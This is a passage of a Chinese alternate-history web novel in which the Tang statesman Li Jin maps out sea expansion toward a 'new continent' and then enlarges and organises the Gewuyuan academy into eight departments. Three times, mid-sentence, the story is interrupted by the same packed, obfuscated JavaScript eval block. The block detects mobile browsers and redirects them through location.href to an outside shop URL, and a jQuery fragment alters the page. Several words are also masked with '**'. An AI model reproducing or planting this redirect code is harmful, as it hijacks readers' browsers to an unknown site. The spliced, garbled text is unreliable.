“我大唐舟师此番跨海远征,破敌国,定海疆,已证我舟师之利,足可纵横东海。”李瑾缓缓道,目光扫过在座的水师将领们,何迦楼等人不禁挺直了腰板。“然,东海之外,更有南洋,南洋之南,更有重洋。我华夏先民,自秦汉乃至更早,便有舟船泛海,南下交趾、日南(越南北部),乃至抵达身毒(印度)、大秦(罗马)之记载。然多赖季风,沿岸而行,风险莫测,所获亦微。”
“今时不同往日!”李瑾声音提高了几分,带着一种不容置疑的笃定,“我大唐有坚船利炮,有精确海图,有望远镜、罗盘,有格物院不断研制新器。大海,于我而言,已非不可逾越之天堑,而是一条通往无尽财富、广袤土地、四方宾服的坦途!”
他示意亲卫展开另一幅更大的地图。这幅图,是他凭借记忆和这个时代已有的地理知识,结合格物院最新观测成果,亲自绘制的“寰宇概略图”。图上,大唐位居中央,周边是高句丽、新罗、百济(已灭)、倭国、突厥、吐蕃、天竺等已知区域。而更远的地方,则用虚线勾勒出大致的轮廓,并标注了李瑾“推测”的名称和物产:南方的“香料群岛”(马鲁古群岛)盛产丁香、肉豆蔻;西方的“大食海”(阿拉伯海)、“波斯湾”连接着富庶的绿洲城邦;更遥远的“非洲”有着**、黄金和奇异的动物;而最东方,越过浩瀚的“东大洋”,是一片广袤的、尚未被明确标注的陆地,李瑾在上面写了三个小字:“新大陆”,并在旁边简单画了玉米、马铃薯、辣椒等作物的草图。
这幅图,对在座众人造成的冲击,是巨大的。他们中许多人,是第一次如此直观地“看到”世界的模样。尽管许多地方只是推测和传闻,但那种辽阔无垠的感觉,依然让他们心驰神往,又隐隐感到自身乃至大唐的“渺小”。
“诸位请看,”李瑾的手指从登州出发,沿着海岸线南下,划过流求(台湾),指向一片密集的群岛,“此处,古称‘涨海’,岛屿星罗棋布,其地盛产香料、珍珠、玳瑁、珍贵木材。然岛屿众多,土著部落林立,又有海盗盘踞,商路不畅。若我大唐水师能掌控此地,一则可得香料之利,二则可建中转港口,为南下、西进之基地。”
他的手指继续向西,划过中南半岛,指向印度半岛,“此处为天竺,佛国所在,亦富庶之地。再向西,则为大食,其地商人,多与我大唐有贸易往来,贩运琉璃、宝石、骏马。若能以巨舰直航,不假手陆上胡商,其利何止百倍?”
最后,他的手指缓缓移向地图最东方那片广袤的、标注着“新大陆”的未知陆地,停顿了片刻。“至于此处……”李瑾的声音带着一种奇特的、仿佛洞悉未来的意味,“古籍或有记载,谓‘扶桑’、‘东瀛’,然语焉不详。依我推算,及水手漂流所见传闻,此大陆之广,或不下于华夏。其地有高耸入云之山脉,有**沃野,有奇异之作物,有前所未见之禽兽,或有金矿遍野……然相隔重洋,风波险恶,非有绝世巨舰、通天之能,不可轻至。此,当为我辈,及子孙后代,戮力以求之终极目标!”
议事厅内一片寂静,只有炭火偶尔的噼啪声。所有人都被李瑾描绘的这幅宏大图景震撼了。香
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086400|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
料、黄金、新大陆……这些词汇冲击着他们的认知。何迦楼等水师将领,眼中燃起炽热的光芒,那是航海家对未知海洋的渴望,是武将对开疆拓土的向往。金仁问等文官幕僚,则更冷静地思考着其中的利益、风险和可行性。
“大帅,”何迦楼率先开口,声音因激动而有些沙哑,“末将愿为先锋!给末将十艘大船,五百精兵,末将先为陛下、天后探明南下香料群岛之航路,扫清海盗,建立据点!”
一位都督府参军则沉吟道:“大帅之谋,气吞寰宇。然,经营倭地,所费已巨。若再图南下、西进,乃至东向,所需船只、兵员、粮饷、物资,恐非小数。且远洋航行,风涛莫测,一旦有失……”
“参军所虑甚是。”李瑾点点头,他需要的就是这种既有激情又能务实思考的部下,“故此,方有经营倭地之必要。倭地,非仅金银矿藏可取。其地多良木,可为巨舰龙骨、桅杆;其民可训为水手、工匠;其港口,如难波、博多,可为东出大洋之前进基地。倭地之粮产、物资,亦可部分供应远航。此所谓‘以战养战,以夷制夷,渐图远略’。”
他站起身,走到地图前,手指重重点在倭国的位置:“眼下首要,乃是稳固倭岛都督府之治,使其金银能源源不断输回中土,充实国库。同时,以倭地为练手,摸索如何于海外设治、驻军、通商、移民。其二,扩建水师,改进舰船。格物院已着手研制更大、更快、更稳之新式帆船,并改进**、火炮,使之更宜舰载。其三,培养人才。于登州、广州、乃至未来之倭岛,设水师学堂、航海学堂,教授观星、测绘、操舟、格物之学,培养忠于大唐之航海、探险、贸易、管理之才。其四,鼓励海商。朝廷可颁‘市舶令’,以优惠之策,鼓励民间打造海船,南下贸易。水师为其护航,扫清海盗,朝廷抽取市舶之税,则官民两利,海贸可兴。”
“待倭地稳固,水师壮大,海商云集,人才辈出,届时……”李瑾转过身,目光灼灼地看着众人,“无论是南下取香料,西向通大食,还是东探新土,皆如水到渠成,顺势而为。我大唐之龙旗,当飘扬于四海所能至之每一处海岸!”
一番话,将遥远的蓝图与眼前的实务紧密结合起来。众人心中的疑虑渐消,取而代之的是一种参与伟大事业的激昂与责任感。
“谨遵大帅之命!”众人齐声应诺,眼中充满了对未来的憧憬。
会议结束后,李瑾留下了何迦楼。“何总管,水师乃未来之根本。倭地既定,然北方虾夷地(北海道)尚未完全臣服,南方海路亦需清扫。给你三个月时间,整备船队。一俟开春,你率一支分舰队北上,巡视虾夷,宣示**,勘测航道,若有不服,可相机剿抚。同时,另遣一支舰队南下,巡弋琉球、流求(台湾)海域,清剿海盗,探查可泊大船之良港,并与当地土著建立联系,为日后经略做准备。”
“末将领命!”何迦楼抱拳,信心满满。
“还有,”李瑾补充道,“倭地工匠中,若有擅长造船、航海者,可留意招募,优加待遇,使其为我所用。倭人对东海、北海海情,或有独到之知。”
“是!末将明白!”
何迦楼退下后,李瑾再次走到窗边。寒风依旧,但他心中却如有一团火在燃烧。征服倭国,只是第一步,是点燃大唐这艘巨舰驶向深蓝海洋的引擎。倭国的金银,是燃料;倭国的港口和人力资源,是前进基地;而他和武媚娘的野心,以及这个时代因他而提前萌芽的科技与探索精神,则是驱动这艘巨舰破浪前行的、永不熄灭的明灯。
“新大陆……”他望着东方海天相接之处,那里仍是迷雾重重,但他知道,在未来的某一天,大唐的舰船,终将抵达那片富饶而陌生的土地。而这一切,都将从脚下这个刚刚被纳入掌控的岛屿开始。航向新大陆的漫长旅程,其第一声汽笛(或许此刻还是号角),已然在这东海的风浪中,隐隐鸣响。
第241章 格物院扩招
麟德九年,春。
洛阳城的牡丹尚未绽放,但一股与往年不同的、混杂着硝烟、海风、金属与纸张气息的“新风”,已经从遥远的东方吹来,悄然搅动着帝国的中枢。征服高句丽、平定倭国的巨大军事胜利,不仅带来了无上的荣耀和雪片般的捷报,更带来了实实在在、沉甸甸的战利品——堆积如山的倭国金银,以及随之而来的、对帝国未来方向的激辩与躁动。
紫微宫,贞观殿侧殿。一场小范围的、却关乎帝国未来数十年气运的御前会议,刚刚结束。与会者仅有皇帝李治、天后武媚娘、太子太师李瑾,以及新任宰相、兼领户部尚书的裴炎。李治精神不济,斜倚在御榻上,主要由武媚娘主导议题。
议题的核心,是如何使用倭国运回的第一批、也是数量惊人的金银——总计黄金三万两,白银五十万两,铜料三十万斤。这笔财富,几乎相当于大唐鼎盛时期数年的中央财政岁入,足以让任何决策者心跳加速。
户部尚书裴炎,一位以精明务实、善于理财著称的官员,主张将这笔财富的大部分纳入国库,充实府库,以备不时之需(如可能的吐蕃犯边、赈济灾荒),同时削减部分赋税,与民休息,稳固国内。这是最稳妥、最符合传统理财观念的做法。
然而,李瑾和武媚娘,却有着截然不同的想法。
“陛下,天后,裴相所言,老成谋国,固本之策。”李瑾首先肯定了裴炎的建议,随即话锋一转,“然则,治大国如烹小鲜,需因时制宜。此番东征,我朝耗费钱粮兵马无算,虽得倭国赔款,然此乃竭泽而渔,不可为常。倭地金银矿藏虽丰,亦有尽时。且此番跨海远征,暴露出我朝诸多不足:水师战船虽利,然远航补给艰难,疫病难防;火器虽威,然制造不易,运输笨重;海图模糊,导航多凭经验;对远方风土、物产、航道,更是所知寥寥。”
他站起身,走到殿中悬挂的巨幅《大唐寰宇图》前,手指划过浩瀚的海洋:“四夷宾服,非仅凭刀兵之威,更需舟车之利,货殖之通,格物之明。欲使我大唐国祚永昌,威加四海,非仅固守现有疆土,更需开拓未知之利源,掌握引领时代之技艺。昔年太宗皇帝设文学馆、弘文馆,集天下英才,修文治,方有贞观之盛。今时不同往日,我朝所需者,非仅吟诗作赋之文士,更需通晓天地万物之理、能工巧匠之技、经世致用之学的‘新才’!”
武媚娘凤目微眯,接口道:“三郎所言,深合吾心。金银入库,不过死物。若能以此死物,催生活水,铸就利剑,开拓新途,方是善用。裴相,国库自然要充实,赋税亦可酌情减免,以示陛下仁德。然,此番所得,当取其中三成,不,四成!专项用于一事——扩编‘格物院’,大兴‘实学’!”
“格物院”之名,在场众人并不陌生。此乃数年前李瑾奏请设立,最初只是隶属于将作监下的一个小机构,集合了一些对奇巧机械、算学、天文、医药有兴趣的工匠和低品文吏,研究改进农具、水车、**机等,规模甚小,在朝廷诸多衙署中毫不起眼。近年来,因其在改良“大将军炮”、研制航海仪器、勘矿冶炼等方面偶有建树,才渐受关注。但要将如此巨额的国库金银,投入这样一个“非正统”的机构,进行大规模扩张,在裴炎等传统士大夫看来,简直是匪夷所思,甚至有“鼓励奇技淫巧、败坏学风”之嫌。
裴炎眉头紧锁,拱手道:“天后,太子太师。格物院虽有微功,然终究是匠作之事,交由将作监、少府监办理即可。朝廷养士,当以经义文章为本,敦崇教化。若以重金厚禄招揽工匠、术士,恐使士子轻视经学,竞趋末技,长久以往,恐动摇国本啊!”
“裴相此言差矣!”李瑾转身,目光炯炯,“经义文章,固为治国之本,然无实学以佐之,便是空中楼阁。何谓‘格物致知’?《大学》有云:‘致知在格物,物格而后知至’。钻研万物之理,通晓技艺之妙,亦是圣人之教,何来‘末技’之说?若无精良军械,何以平高句丽、定倭国?若无坚固舟船、精确海图,我十万大军何以跨海远征?若无改良农具、水利,仓廪何以充实?此皆实学之功!”
他放缓语气,但更加坚定:“扩编格物院,非为取代经学,实为补其不足,强其筋骨。使其成为我大唐汇集百工智慧、钻研天地至理、孵化实用技艺之总枢!其用,不仅在军,更在民,在商,在国计民生之方方面面!”
武媚娘轻轻拍了拍御案,一锤定音:“此事,朕意已决。便依三郎所奏,拨付此次倭国金银之四成,专项用于格物院扩建及实学推广。具体章程,由三郎会同工部、将作监、少府监、司天监等有司拟定,报朕御批。裴相,户部需全力配合,不得延误。”
皇帝李治也微微颔首,声音虚弱但清晰:“媚娘与三郎……所见甚远。可……试行之。”
裴炎见二圣心意已决,且皇帝也已表态,只得暗叹一声,躬身领命。他知道,一场变革,已随着倭国的金银,悄然拉开了序幕。
有了朝廷的明确支持和巨额资金,李瑾的行动雷厉风行。他不再兼任倭岛都督(朝廷已另派重臣赴任),将主要精力放回中枢,全力推动“格物院”的升级与扩张。
首先,是地位的提升与机构的独立。李瑾奏请,将“格物院”从将作监下属独立出来,升格为与秘书省、殿中省、内侍省等并列的、直属于天子的独立机构,全称“集贤殿格物院”,以示其“汇集贤才,格物致知”的崇高宗旨。李瑾亲兼首任“知格物院事”,并挑选了数名通晓实务、思想开明的官员和学者担任副职。
其次,是规模的急剧扩张。原格物院蜗居在将作监一角,不过数十间屋舍。李瑾划拨巨额经费,在洛阳城南、洛水之滨,择地百顷,兴建庞大的新院区。新院区规划宏大,分为多个区域:百工坊(各类工匠实验、制作场所)、藏书阁与绘图楼(收藏典籍、图纸、海图、地理资料)、算学馆与观星台(数学、天文研究)、博物苑(搜集奇珍异兽、矿石、植物标本)、医道馆(医药、解剖研究)、讲学堂与生员宿舍。其规模建制,几乎相当于一所小型的综合性大学。
再次,也是最具突破性的,是人才招募方式的变革。李瑾深知,传统的科举取士和门荫制度,难以选拔出他所需的实用人才。他亲自拟定并报请批准了全新的《格物院征辟条例》:
1.广开才路,不分士庶:明确宣告,凡通晓一技之长,无论出身士农工商,甚至僧道、蕃客,只要身家清白,有一技之长,皆可自荐或由人保荐,经考核**院。优秀者,不仅给予丰厚薪俸,还可授予“待诏”、“直院”、“博士”等官职衔,享有相应的**待遇和社会地位。此举打破了“工之子恒为工”的阶层壁垒,也向天下传递了“技艺亦可通显”的强烈信号。
2.分科考核,注重实绩:考核不再以经义文章为主,而是分门别类。欲入“百工坊”者,需现场演示技艺,或呈交发明模型、图纸;欲入“算学馆”者,需解答难题,演示算法;欲入“医道馆”者,需有行医经验或独特验方;欲入“航海科”者,需熟悉海情、能辨识星象……一切以实际能力为准。
3.高薪厚禄,吸引顶尖人才:格物院各级职事的薪俸,远高于同级朝廷官员。对能解决重大技术难题、有重要发明创造者,更有重金赏赐,甚至可能赐爵。李瑾深知,没有实实在在的利益,难以吸引真正的人才投身于这被士林轻视的“匠作”之中。
4.设立“生员”制度,培养后备力量:面向全国招收十五至二十岁的聪慧少年,不拘出身,通过基础算学、识字考核后,可入院为“生员”,享受食宿补贴,系统学习算学、格物基础、制图、文书等,并根据兴趣分科深入,由院内“博士”、“直院”授课。优秀生员可留院任职,或推荐至工部、将作监、水师等处。这实际上是在建立一套独立于国子监、官学体系之外的、注重实用技术的教育系统。
诏令一出,天下哗然。洛阳、长安的士林清议之中,讥讽者有之——“朝廷竟以重金求奇技淫巧,与市井匠人为伍,成何体统?”“李瑾恃功而骄,蛊惑圣听,坏我朝取士之道!”忧虑者有之——“长此以往,谁还愿寒窗苦读圣贤书?”但同样,也有无数被传统仕途排斥、身怀绝技却郁郁不得志的能工巧匠、民间学
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086401|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者、落魄方士、甚至远道而来的异域技师,心中燃起了希望。
接下来的几个月,洛阳城南的格物院新址,成了帝国最忙碌、也最引人瞩目的地方。建筑工地上,工匠民夫日夜赶工,一座座功能各异的馆舍拔地而起。而在临时设立的招募处前,更是排起了长龙。前来应募的人五花八门:
有来自河北、能将**机射程提高三成的老军器匠;有来自江南、擅长建造大型楼船和水车的老船工;有来自蜀中、精通地质堪舆的隐士;有来自岭南、熟悉海外香药的海商后人;有来自西域、通晓天文历算的粟特裔学者;甚至还有几位自称来自“大秦”(拂菻,即东罗马)的景教僧侣,携带着一些奇怪的机械图和数学手稿前来碰运气……
考核的过程严格而务实。在“百工坊”考核区,斧凿锤锯之声不绝,火光四溅,应试者当场打造零件、组装机括。在“算学馆”,应试者需在沙盘或纸上快速演算复杂的开方、方程和面积体积问题。在“医道馆”,则有经验丰富的老军医坐镇,考核辨识药材、处理外伤甚至探讨一些理论问题……
李瑾时常亲临考核现场。他看到一位来自明州(宁波)的老渔民,仅凭一根绳结和观察水色,就能准确判断海流和鱼群,被破格录入新设的“航海科”。他看到一位关中铁匠,展示了一种能极大提高铁水纯度的“炒钢法”改良工艺,当场被聘为“直院”。他还看到一位年轻的书生,虽不通经义,却对《九章算术》和勾股测量有着惊人天赋,被算学馆的博士如获至宝。
当然,招募过程中也非一帆风顺。有士子前来捣乱,嘲讽应募的工匠“沐猴而冠”;也有江湖骗子企图以拙劣的“法术”蒙混过关,被当场拆穿赶出。但总体上,一套新的人才选拔和集聚机制,正在磕磕绊绊中建立起来。
至麟德九年夏末,格物院新院区主体建筑陆续竣工。院内汇聚了来自全国各地、乃至域外的各类人才已超过五百人,其中“博士”、“直院”等高级研究人员近百人,“生员”首批招收了两百人。院内初步划分了“军器所”、“舟车所”、“矿冶所”、“天文算学所”、“农水利所”、“医道所”、“博物所”、“海疆所”等八大研究部门,每个部门下又细分若干课题组。
李瑾为格物院确立了明确的研究方向:军器改良(重点是火炮轻型化、精度提高、**配方优化、**雏形探索)、船舶设计与航海技术(研制更大更快的远洋帆船、改进帆索系统、研制更精确的航海罗盘和计时器、绘制全球海图)、矿冶与材料(改进金银铜铁冶炼技术、探索新合金、开发倭国及其他地区的矿藏)、农业与水利(培育高产作物、改进农具、兴修水利模型)、基础科学(数学、天文、物理、化学的初步系统化研究,包括李瑾“提点”的几何光学、力学原理、元素猜想等)、医药卫生(整理验方、研究解剖、防治航海疾病如坏血病)、地理与博物(搜集整理天下物产、地理、民俗资料,为扩张和贸易服务)。
格物院的大门上,悬挂着李瑾亲笔题写的匾额:“格物致知,经世致用”。这八个字,成了这座新兴学术殿堂的最高宗旨。院内,不再是埋头故纸堆的寻章摘句,而是充满了计算、争论、实验、制作的火热场景。算盘的噼啪声、绘图时的沙沙声、锻打铁器的叮当声、争论问题的激昂话语声,交织成一首不同于太学、国子监琅琅书声的、却充满蓬勃生机的“新学”交响曲。
朝中的非议并未停止,但看着格物院那日益庞大的规模、皇帝天后坚定不移的支持、以及李瑾那不容置疑的权威,反对的声音暂时被压了下去。许多人都在观望,这个耗费了巨额倭国金银、**了众多“奇人异士”的格物院,究竟能结出怎样的果实。
李瑾站在刚刚落成的观星台顶层,俯瞰着脚下初具规模的格物院建筑群,又望向远方天际。他知道,种子已经播下,土壤已经施肥。接下来,就是耐心等待,并小心呵护这些可能改变整个文明进程的幼苗。科学的种子,已然在盛唐的土壤中,破土而出。而它的未来,或将比征服十个倭国,更加深远地影响这个世界的走向。
第242章 分科授学业
格物院的百顷新址,在麟德九年盛夏时分,已不再是尘土飞扬的工地。高墙环绕,馆舍俨然,虽然许多地方仍显粗粝,但那严谨的布局、区别于传统官署的宽敞工坊与试验场、以及进进出出衣着各异却大多步履匆匆、神情专注的人们,无不彰显着此地的与众不同。大门匾额上“格物致知,经世致用”八个鎏金大字,在阳光下熠熠生辉,也像一面旗帜,吸引着、也刺痛着洛阳城中无数双眼睛。
人才如溪流汇川,从四面八方涌来,经过严格的“实技”考核,数百名身怀绝艺的工匠、通晓杂学的文士、甚至异域来的奇人,被纳入这座崭新的殿堂。然而,如何安置、管理、引导这数百名背景各异、知识结构千差万别的人才,使他们杂乱无章的“技艺”和“经验”,转化为可以传承、可以发展、可以为国所用的系统“学问”,而非沦为另一个“将作监”或“皇家珍玩作坊”,成了摆在李瑾和格物院几位核心官员面前最迫切的问题。
旧有官僚体系的那套模糊的职事划分,显然不适用。将作监只管营造,少府监主理皇室器物,军器监专司兵器,各守一摊,壁垒分明,且重“工”而轻“理”,重“传承”而轻“探索”。格物院要做的,是打破这些壁垒,融会贯通,并从具体技艺中抽象出普遍规律,再以规律指导新的创造。
“必须分科。”在格物院核心的议事厅内,李瑾面对几位主要副手——包括原将作监大匠、现为格物院副使的公孙垣,精通算学、天文的前司天台灵台郎赵玄默,以及那位来自河北、因改良**机被特招入院的军器匠师出身的马淳——斩钉截铁地定下了基调。“杂而不专,则事倍功半。需依学问之本性、技艺之关联、国用之急需,划分门类,设立学馆,使学者各有专攻,又能相互印证。”
他取出一卷早已准备好的文稿,上面是他结合后世知识框架与当下实际需求,反复思忖后拟定的初步方案。
“我意,于格物院下,先设八大学馆。”李瑾展开文稿,朗声道,“每馆设‘馆主’一人,总理馆务;‘博士’若干,专司研究与高阶教学;‘直院’、‘助教’若干,辅佐研究并教授生员。各馆之下,可视情况再设若干‘所’或‘组’,专攻一题。”
众人屏息凝神,目光聚焦在那份名单上。
“其一,算学馆。”李瑾指向第一个,也是他认为最基础的科目,“算学乃百学之基,量天测地,计粮核赋,制器绘图,无算不成。此馆不仅研习、整理、发展《九章算术》、《周髀算经》、《孙子算经》等旧学,更需探索新的算法、符号(李瑾引入了简化数字和部分运算符号的概念)、几何、代数(他称之为‘天元术’的初级形态)。馆主,拟由赵灵台郎担任。”
赵玄默闻言,肃然起身,拱手道:“下官必竭尽所能。算学之道,确为根本。下官近日与院内几位精通西域算法的同僚研讨,其‘零’之概念与笔算之法,颇有可取。当融会贯通,编撰新教材。”
“其二,格物馆。”李瑾继续道,“此‘格物’,取其狭义,专研万物运行之理,力、热、声、光、磁等现象之本质。为何投石机之力臂越长,抛射越远?为何舟船形状不同,航速各异?为何凹凸镜片可聚光生火,亦可望远观微?为何磁石总指南北?此馆任务,便是观察、实验、测量、总结,从具体现象中提炼规律,著书立说,并能用此规律解释现象、改进器物。此馆馆主……”他目光扫过众人,最终落在一位年约四旬、面容清癯、原是长安道观炼丹士,却对物质变化极有钻研,被特招入院的清玄子身上,“拟由清玄道长担纲。道长精研丹鼎,于物性变化、燃烧、金石反应多有心得,正合此道。”
清玄子有些意外,他本是方外之人,只因好奇与对“物之理”的痴迷才应募入院,不想竟被委以如此重任。他拂尘一甩,稽首道:“贫道……下官定当尽力。万物运行,自有法度。贫道观**爆燃,思其何以生巨力;观热泉上涌,思其下必有热源。此馆所研,正当其道。”
“其三,化机馆。”李瑾说出这个新创的名词,众人略有不解。“此‘化’,指万物之构成、变化、转化。金何以成器?木何以成炭?丹砂何以炼出水银?盐卤何以出盐?此馆专研物质之本质、构成、相互转化之规律,以及如何利用此规律,提纯物质、制造新物。譬如,改进冶铁炼钢之法,提纯金银铜锡,研制新的颜料、药物、乃至探索类似**之新反应。此馆与格物馆关联密切,格物重‘理’,化机重‘质’与‘变’。馆主……”他看向另一位应募者,原是江南某著名瓷器窑口的大匠师,对釉料配方、窑火控制出神入化的章焕,“章大匠精于陶钧之火,深知泥料、釉料配比、火候不同,则器物性状天差地别,此正是化机之要。此馆便由章大匠主持。”
章焕是工匠出身,骤得高位,有些惶恐又激动,连连躬身:“小人……下官定当用心!瓷土、釉料、窑变,其中学问确实深奥,以往只凭经验,若能究其所以然,必能更上层楼!”
“其四,地舆馆。”李瑾手指向墙上悬挂的巨幅地图,“此馆专司天文、地理、测量、绘图。观测天象,修订历法;测量大地,绘制精准舆图、海图;记录山川地貌、江河湖海、气候物产、风俗民情。不仅绘我大唐疆域,更要搜集、勘测四方异域之图志。水师远征、商旅往来、甚至将来开疆拓土,皆赖于此。馆主,拟由原兵部职方司一位精于测绘、曾随军绘制高句丽、倭国地图的主事陆明远担任,赵灵台郎亦需多加指导天文部分。”
陆明远沉稳领命:“下官遵命。精准舆图,乃军国利器。下官已着手整理院内所藏及新搜集之海图、游记,并着手设计新型测量仪器。”
“其五,舟车馆。”李瑾看向何迦楼推荐来的一位老船工出身的郑老大(本名郑海),以及一位对车辆、机械传动颇有研究的木匠鲁平,“专研船舶之设计、建造、改进,以及陆上车辆、桥梁、起重机械等。如何造出更大、更快、更稳、更能抗风浪的远洋巨舰?如何改进帆、舵、索具?如何设计更好的马车、攻城器械、水利器械?此馆关乎运输、贸易、军事之根本。郑老、鲁师傅,你二人一精于水,一擅于陆,需通力合作。”
郑海和鲁平对视一眼,都能看到对方眼中的兴奋。他们这样的匠人,何曾想过有朝一日能主持一馆之学?
“其六,军械馆。”李瑾的目光落在马淳身上,“马师傅,你于此道经验最丰。此馆专攻攻守之器。火器乃重中之重,需继续改进火炮、**,探索新式**、火箭、****。同时,传统之**、甲、刀剑、攻城器械,亦需精益求精,并探索与火器结合之战法。此馆成果,直接关乎国朝武备,需严格保密,遴选人员亦需格外谨慎。”
马淳重重抱拳,眼中闪过锐利的光芒:“大帅放心!此乃我等本行,定造出更利之器,卫我大唐!”
“其七,农工馆。”李瑾道,“国以民为本,民以食为天。此馆专研农桑水利、谷物果蔬培育、农具改进、纺织、印染、制茶、酿造等民生百工技艺。如何提高粮产?如何防治蝗灾、病害?如何改进织机,织出更美之锦缎?如何引水灌溉,或排涝防灾?此馆学问,看似朴拙,实为固国之本。馆主拟由一位精于农事、曾为地方屯田官的老吏田丰担任。”
田丰没想到自己也能独当一面,激动得胡子微颤:“下官……下官别无所长,唯与田地打交道数十年,有些许心得,定当竭力!”
“其八,医道馆。”李瑾最后道,“此番跨海远征,将士伤病甚多,尤以海上疫病、外伤感染为甚。此馆专研医理、药学、外科。不仅要整理、验证前人验方,更需探究人体构造、病因病理。可……适当进行解剖研究(此言一出,在座几人脸色微变),以明脏腑经络之位。广搜天下药材,辨识药性,炼制新药。尤要研究如何防治远航之疾,如何更好处理战伤。馆主……”他看向一位原为军医,以擅长处理金疮外伤和防治瘴疠著称的华九针,“华先生,有劳了。”
华九针性格沉稳,只微微颔首:“医者本分。若能明人体之奥妙,寻治病之良方,活人无数,乃大功德。只是解剖之事,恐惹非议……”
“非常之时,行非常之事。一切以救治将士、探索医理为重,外界纷扰,自有本院与朝廷担待。”李瑾语气坚定。
八大学馆,框架初立。算学为基,格物、化机探究原理,地舆认知环境,舟车、军械、农工、医道则是原理在各个具体领域的应用。这是一个初步的、但意图明确的“科学-技术”分类体系,将原本散落于百工、方技、术数中的知识,第一次尝试进行系统性的归纳和提升。
框架易立,血肉难填。如何让这八个学馆真正运转起来,而非空有架子?李瑾深知,教材、师资、研究方法,是三大基石。
“各馆馆主、博士,首要任务,并非立刻着手惊天动地之发明。”李瑾对众人道,“而是编书!将尔等所知、所会、所悟,无论来自家传秘技、师徒口授,还是自身摸索之经验,尽数整理、记录下来。去除玄虚模糊之语,力求准确、清晰、可验证、可传授。图形、数据、配方、步骤,务求详尽。算学馆,需编撰新的算学教材,从启蒙直至高深。格物馆,需将从杠杆、滑轮到光学、磁学之现象与初步原理,整理成册。化机馆,需将物质分类、常见反应
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086402|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、冶炼提纯之法,系统记录。地舆馆需修订星图、绘制标准地图、编写地理志。舟车、军械、农工、医道诸馆,亦需将各自领域之技艺、经验、疑难,条分缕析,著书立说!”
“此非为藏之名山,而是为教学,为传承,为后世之基!”李瑾环视众人,声音铿锵,“院内生员,将依其志趣天赋,分入各馆学习。博士、直院,需亲自授课,讲解原理,指导实作。每月考核,优者奖,劣者勉。学成之后,经考核优异者,可留院深造,亦可荐往工部、将作监、少府监、水师、边军、乃至地方州县,推广新学,应用新技!”
“此外,”李瑾强调,“各馆之间,绝非壁垒。算学为各馆共用之工具。舟车馆造舰,需地舆馆之海图,需军械馆之火炮安置设计。军械馆研制**,需化机馆探究配比反应。医道馆防治航海病,需舟车馆提供船只环境,需化机馆协助提纯药物……各馆需时常切磋,联合攻关。院内将设‘论学堂’,定期举办讲论,各馆博士、生员皆可登台,讲述发现,辩论疑难。真理越辩越明!”
李瑾的构想,如同投入平静湖面的巨石,在格物院内部激起了巨大的波澜,也引来了外界更强烈的关注与非议。
院内,那些原本只是凭一技之长被招募来的工匠、方士、学者,第一次感受到自己的“手艺”或“学问”,被如此郑重地对待,被要求上升到“著书立说”、“传道授业”的高度。有人兴奋,觉得找到了毕生追求的归属;有人惶恐,自觉肚中墨水有限,难以提笔;也有人不以为然,觉得多此一举,手艺靠的是手把手教,写什么书?
外界,尤其是清流士林,对格物院这套“分科授业”、“工匠著书”、“方士为师”的做派,批评之声更烈。有御史在上朝时公开**,称“李瑾聚敛奇巧,变乱学统,使匠役之徒,妄议经国大道,僭越师道,败坏人心,请罢格物院,以正视听。”更有腐儒写诗作文讥讽,将格物院比作“百工市肆”,将李瑾比作“蛊惑君心之少府监令”。
然而,这一切反对的声音,在皇帝李治的默许和天后武媚娘的全力支持下,都未能动摇格物院分毫。武媚娘甚至亲自下旨,从内库拨出一批珍贵典籍、仪器赐予格物院,并允诺对各学馆编撰的“教材”进行御览,优秀的还将敕令刊印。这份背书,分量极重。
格物院内,逐渐走上了正轨。算学馆内,赵玄默带着几位精通算学的博士和生员,开始用李瑾引入的简化数字和符号,重新推演、注解《九章算术》,并尝试整理李瑾口述的一些几何、代数新知识。沙盘和算筹的噼啪声日夜不息。
格物馆中,清玄子指挥着助手,用简陋的器材(杠杆、滑轮、斜面、水钟、简单的透镜等)设计各种实验,测量、记录、讨论,试图找出规律。虽然许多概念还很原始,但那种“实验-观察-归纳”的方**雏形,已经开始萌芽。
化机馆里,章焕和一群原本的炼丹士、窑工、染匠们,将各种矿物、药物、原料摆开,用天平(李瑾指导制作的简易天平)称量,用炉火煅烧,用器皿溶解、混合、沉淀,记录下每一次变化的颜色、气味、状态,试图分类。虽然离真正的化学还很远,但已开始摆脱纯粹的经验和玄学描述。
地舆馆的观测台上,架起了新制的青铜大型象限仪和简仪,日夜观测星象。绘图纸上,越来越精确的大唐疆域图、沿海图正在绘制,对倭国、新罗、渤海等地的地理信息也在不断补充修正。
